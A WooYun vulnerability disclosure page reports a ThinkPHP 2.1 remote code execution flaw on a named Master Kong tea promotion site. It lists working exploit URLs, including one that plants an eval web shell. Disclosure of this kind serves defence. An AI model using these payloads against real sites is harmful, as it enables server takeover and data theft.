当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-011611

漏洞标题:康师傅某站PHP任意代码执行

相关厂商:康师傅

漏洞作者: upload

提交时间:2012-09-03 11:31

修复时间:2012-10-18 11:31

公开时间:2012-10-18 11:31

漏洞类型:命令执行

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-09-03: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-10-18: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

这个站使用的是ThinkPHP 2.1,存在代码执行漏洞,直接getshell

详细说明:

就是康师傅红茶、绿茶以及其他各种茶瓶身上的那个活动
康师傅 - 玩转台湾 10000人大搜茶

http://www.ksftea.com/


系统使用ThinkPHP 2.1,<-ThinkPHP framework 任意代码执行漏洞预警->

http://zone.wooyun.org/content/44


查看版本:

http://www.ksftea.com/index.php/module/action/param1/$%7B@print(THINK_VERSION)%7D



执行phpinfo():

http://www.ksftea.com/index.php/module/action/param1/%7B$%7Bphpinfo()%7D%7D


可以构造shell地址:

http://www.ksftea.com/index.php/module/action/param1/$%7B@print(eval($_POST[c]))%7D


www文件夹,好几个站


命令执行:

漏洞证明:

根文件夹:

修复方案:

更新版本或者其他--!

版权声明:转载请注明来源 upload@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝